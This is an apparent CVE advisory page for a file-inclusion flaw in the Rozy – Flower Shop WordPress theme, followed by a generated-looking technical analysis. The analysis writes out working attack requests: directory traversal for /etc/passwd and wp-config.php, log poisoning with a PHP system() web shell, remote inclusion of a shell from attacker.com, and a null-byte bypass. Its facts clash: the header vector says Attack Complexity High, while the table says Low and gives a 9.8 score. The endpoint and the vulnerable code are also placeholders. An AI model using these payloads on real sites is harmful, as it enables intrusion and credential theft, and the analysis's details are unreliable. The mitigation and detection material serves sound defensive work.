CVE-2025-12549
CVE-2025-12549
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- High
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in magentech Rozy - Flower Shop rozy allows PHP Local File Inclusion.This issue affects Rozy - Flower Shop: from n/a through <= 1.2.25.
Comprehensive Technical Analysis of CVE-2025-12549
CVE ID: CVE-2025-12549 CVSS Score: 9.8 (Critical) Vulnerability Type: PHP Local File Inclusion (LFI) / Improper Control of Filename for Include/Require Statement Affected Software: Rozy – Flower Shop WordPress Theme (≤ 1.2.25) Source: PatchStack Vulnerability Database
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Classification
CVE-2025-12549 is classified as a PHP Local File Inclusion (LFI) vulnerability, stemming from improper control of filenames in include/require statements. This flaw allows attackers to manipulate file inclusion paths, potentially leading to:
- Arbitrary file disclosure (e.g.,
/etc/passwd,wp-config.php) - Remote Code Execution (RCE) if combined with file upload vulnerabilities or log poisoning
- Server-side request forgery (SSRF) in certain configurations
CVSS 9.8 (Critical) Breakdown
| Metric | Value | Explanation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely without authentication. |
| Attack Complexity (AC) | Low (L) | No special conditions required; straightforward exploitation. |
| Privileges Required (PR) | None (N) | No authentication needed. |
| User Interaction (UI) | None (N) | No user interaction required. |
| Scope (S) | Unchanged (U) | Impact is confined to the vulnerable component. |
| Confidentiality (C) | High (H) | Full disclosure of sensitive files (e.g., database credentials). |
| Integrity (I) | High (H) | Potential for arbitrary code execution. |
| Availability (A) | High (H) | Could lead to server compromise or denial of service. |
Severity Justification:
- High Impact: LFI can lead to full system compromise if chained with other vulnerabilities (e.g., RCE via log poisoning).
- Low Barrier to Exploitation: No authentication required; trivial to exploit with basic HTTP requests.
- Widespread Risk: WordPress themes are widely deployed, increasing the attack surface.
2. Potential Attack Vectors & Exploitation Methods
Exploitation Prerequisites
- Unauthenticated Access: No credentials required.
- Vulnerable Endpoint: The flaw exists in a PHP file that dynamically includes files based on user-supplied input (e.g.,
?file=../../../etc/passwd). - PHP Configuration:
allow_url_includemay enable Remote File Inclusion (RFI) if set toOn.
Exploitation Techniques
A. Basic Local File Inclusion (LFI)
An attacker crafts a malicious HTTP request to read sensitive files:
GET /wp-content/themes/rozy/includes/vulnerable-file.php?file=../../../../../../etc/passwd HTTP/1.1
Host: vulnerable-site.com
Impact:
- Disclosure of system files (
/etc/passwd,/etc/shadowif permissions allow). - Exposure of WordPress configuration (
wp-config.phpcontaining database credentials).
B. Remote Code Execution (RCE) via Log Poisoning
If the server logs user-controlled input (e.g., User-Agent), an attacker can:
- Poison Logs:
GET / HTTP/1.1 User-Agent: <?php system($_GET['cmd']); ?> - Include Log File via LFI:
GET /wp-content/themes/rozy/includes/vulnerable-file.php?file=../../../../../../var/log/apache2/access.log&cmd=id HTTP/1.1
Impact:
- Arbitrary command execution (e.g.,
id,whoami, reverse shell payloads).
C. Remote File Inclusion (RFI) (If allow_url_include=On)
If PHP’s allow_url_include is enabled, attackers can include remote malicious scripts:
GET /wp-content/themes/rozy/includes/vulnerable-file.php?file=http://attacker.com/shell.txt HTTP/1.1
Impact:
- Direct remote code execution without log poisoning.
D. Path Traversal via Null Byte Injection (PHP < 5.3.4)
If the server runs an older PHP version, null byte injection (%00) can bypass file extension restrictions:
GET /wp-content/themes/rozy/includes/vulnerable-file.php?file=../../../../etc/passwd%00 HTTP/1.1
3. Affected Systems & Software Versions
Vulnerable Software
- Product: Rozy – Flower Shop WordPress Theme
- Vendor: Magentech
- Affected Versions: All versions ≤ 1.2.25
- Platform: WordPress (self-hosted installations)
Indicators of Compromise (IoCs)
- HTTP Logs:
- Unusual
GETrequests with../sequences orfile=parameters. - Requests to
/etc/passwd,/wp-config.php, or log files.
- Unusual
- File System:
- Unexpected PHP files in upload directories (if RFI is exploited).
- Modified
.htaccessorwp-config.phpfiles.
- Network:
- Outbound connections to attacker-controlled servers (if RFI is used).
4. Recommended Mitigation Strategies
Immediate Actions
-
Upgrade the Theme:
- Apply the latest patch (if available) or upgrade to Rozy ≥ 1.2.26.
- If no patch exists, disable the theme and switch to an alternative.
-
Input Validation & Sanitization:
- Whitelist allowed file paths (e.g., restrict to
/wp-content/themes/rozy/includes/). - Use
basename()to strip directory traversal sequences:$file = basename($_GET['file']); include("includes/$file"); - Disable
allow_url_includeinphp.ini:allow_url_include = Off
- Whitelist allowed file paths (e.g., restrict to
-
Web Application Firewall (WAF) Rules:
- Deploy ModSecurity with OWASP Core Rule Set (CRS) to block LFI/RFI attempts.
- Example rule:
SecRule ARGS "@pmFromFile lfi-os-files.data" "id:1000,deny,status:403"
-
File System Hardening:
- Restrict PHP execution in upload directories via
.htaccess:php_flag engine off - Set strict file permissions (e.g.,
640for sensitive files).
- Restrict PHP execution in upload directories via
-
Monitoring & Logging:
- Enable PHP error logging to detect inclusion attempts.
- Monitor for unusual file access patterns (e.g.,
/etc/passwd).
Long-Term Recommendations
- Regular Vulnerability Scanning:
- Use tools like WPScan, Nessus, or OpenVAS to detect LFI/RFI flaws.
- Dependency Management:
- Subscribe to PatchStack or Wordfence for WordPress vulnerability alerts.
- Secure Coding Practices:
- Avoid dynamic file inclusion; use static paths where possible.
- Implement Content Security Policy (CSP) to mitigate XSS if LFI leads to script execution.
5. Impact on the Cybersecurity Landscape
Exploitation Trends
-
WordPress Ecosystem Targeting:
- Themes and plugins are frequent attack vectors due to their widespread use and often lax security practices.
- LFI/RFI vulnerabilities are highly sought after by threat actors for initial access.
-
Automated Exploitation:
- Tools like WPScan, Metasploit, and Nuclei can automate exploitation, increasing the risk of mass attacks.
- Botnets (e.g., Mirai variants) may leverage such flaws for cryptojacking or DDoS.
Business & Operational Risks
- Data Breaches:
- Exposure of
wp-config.phpcan lead to database compromise (e.g., MySQL credentials).
- Exposure of
- Website Defacement:
- Attackers may inject malicious JavaScript or deface the site.
- Regulatory Compliance Violations:
- GDPR, PCI DSS, or HIPAA penalties if sensitive data is exposed.
Threat Actor Motivations
| Actor Type | Motivation | Likely Exploitation Method |
|---|---|---|
| Script Kiddies | Bragging rights, defacement | Basic LFI for file disclosure |
| Cybercriminals | Financial gain (ransomware, data theft) | RCE via log poisoning or RFI |
| APT Groups | Espionage, persistence | Chained exploits for lateral movement |
| Hacktivists | Disruption, political statements | Defacement via LFI/RFI |
6. Technical Details for Security Professionals
Root Cause Analysis
The vulnerability stems from unsanitized user input in a PHP include/require statement. Example vulnerable code:
// vulnerable-file.php
$file = $_GET['file'];
include("includes/$file.php"); // No input validation
Flaws:
- No Input Sanitization: Directly concatenates user input into a file path.
- No Path Restriction: Allows directory traversal (
../). - No File Extension Enforcement: Attackers can omit
.phpor use null bytes.
Exploit Development (Proof of Concept)
Step 1: Identify Vulnerable Parameter
- Use Burp Suite or curl to fuzz parameters:
curl -v "https://vulnerable-site.com/wp-content/themes/rozy/includes/vulnerable-file.php?file=../../../../etc/passwd" - Look for 200 OK responses with file contents.
Step 2: Bypass Restrictions
- If
.phpis appended, use null byte injection (PHP < 5.3.4):GET /vulnerable-file.php?file=../../../../etc/passwd%00 HTTP/1.1 - If
allow_url_include=On, host a malicious script:
Then include it:# shell.txt (hosted on attacker.com) <?php system($_GET['cmd']); ?>GET /vulnerable-file.php?file=http://attacker.com/shell.txt&cmd=id HTTP/1.1
Step 3: Post-Exploitation
- Dump Database Credentials:
GET /vulnerable-file.php?file=../../../../wp-config.php HTTP/1.1 - Establish Persistence:
- Upload a web shell via RFI or log poisoning.
- Modify
.htaccessto maintain access.
Detection & Forensics
Log Analysis
- Apache/Nginx Logs:
grep -E "(\.\./|\.\.\\)" /var/log/apache2/access.log grep -E "file=|include=" /var/log/nginx/access.log - PHP Error Logs:
grep -i "failed opening" /var/log/php_errors.log
Memory Forensics
- Use Volatility or Rekall to detect:
- Suspicious PHP processes (e.g.,
php -rwith reverse shells). - Injected code in memory (e.g.,
stringson process dumps).
- Suspicious PHP processes (e.g.,
File Integrity Monitoring (FIM)
- Tools like Tripwire or AIDE can detect unauthorized file changes.
Conclusion
CVE-2025-12549 represents a critical LFI vulnerability in the Rozy – Flower Shop WordPress theme, enabling unauthenticated attackers to disclose sensitive files or achieve RCE. Given its CVSS 9.8 severity and low exploitation complexity, immediate patching and mitigation are imperative.
Key Takeaways for Security Teams:
- Patch Management: Prioritize updates for WordPress themes/plugins.
- Input Validation: Enforce strict whitelisting for file inclusion.
- Monitoring: Deploy WAFs and log analysis to detect exploitation attempts.
- Hardening: Disable dangerous PHP settings (
allow_url_include). - Incident Response: Prepare for post-exploitation scenarios (e.g., credential theft, backdoors).
Failure to address this vulnerability could lead to full system compromise, making it a high-priority remediation target for organizations using the affected theme.